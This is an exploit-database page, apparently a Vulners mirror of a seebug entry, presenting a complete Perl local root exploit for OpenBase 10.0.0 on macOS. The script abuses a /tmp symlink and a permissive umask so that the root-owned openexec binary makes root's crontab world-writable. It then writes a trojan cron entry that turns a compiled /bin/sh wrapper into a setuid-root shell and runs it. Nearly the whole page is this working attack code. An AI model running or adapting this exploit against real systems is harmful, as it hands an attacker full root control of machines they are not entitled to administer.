Lucene search
K

Xcode OpenBase <= 10.0.0 (symlink) Local Root Exploit (OSX)

🗓️ 09 Nov 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 27 Views

Xcode OpenBase <= 10.0.0 (symlink) Local Root Exploit (OSX). Create a file with root privileges and exploit symlink vulnerability

Code

                                                #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# &lt;= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = &quot;/var/cron/tabs/root&quot;;

$binpath = &quot;/Library/OpenBase/bin/openexec&quot;; # Typical location.

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing.
$tgts{&quot;0&quot;} = &quot;OpenBase10.0.0_MacOSX.dmg:$binpath&quot;;

unless (($target) = @ARGV) {
       print &quot;\n\nUsage: $0 &lt;target&gt; \n\nTargets:\n\n&quot;;

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{&quot;$key&quot;});
               print &quot;\t$key . $a\n&quot;;
       }

       print &quot;\n&quot;;
       exit 1;
}

$ret = pack(&quot;l&quot;, ($retval));
($a,$b) = split(/\:/,$tgts{&quot;$target&quot;});
print &quot;*** Target: $a $b\n&quot;;

open(OP,&quot;&gt;/tmp/finisterre.c&quot;);
printf OP &quot;main()\n&quot;;
printf OP &quot;{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\&quot;/bin/sh -i\&quot;); }\n&quot;;
system(&quot;gcc -o /Users/Shared/shX /tmp/finisterre.c&quot;);

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka semi-insta-root (in a minute)
system(&quot;echo '* * * * * /usr/bin/id &gt; /tmp/aa' &gt; /tmp/user_cron&quot;);
system(&quot;crontab /tmp/user_cron&quot;);

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system(&quot;ln -s $dest /tmp/output&quot;);
sleep 60;   # Probably don't need to wait this long but whatever...

system(&quot;umask 111; $b -deactivate&quot;);
print &quot;$dest should be rw-rw-rw ... enjoy!\n&quot;;
print &quot;installing trojan crontab for root\n&quot;;

system(&quot;echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' &gt; /var/cron/tabs/root&quot;);

print &quot;sit around and chill for a minute then check /Users/Shared/shX !\n&quot;;
sleep 60 ;

system(&quot;/Users/Shared/shX&quot;);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation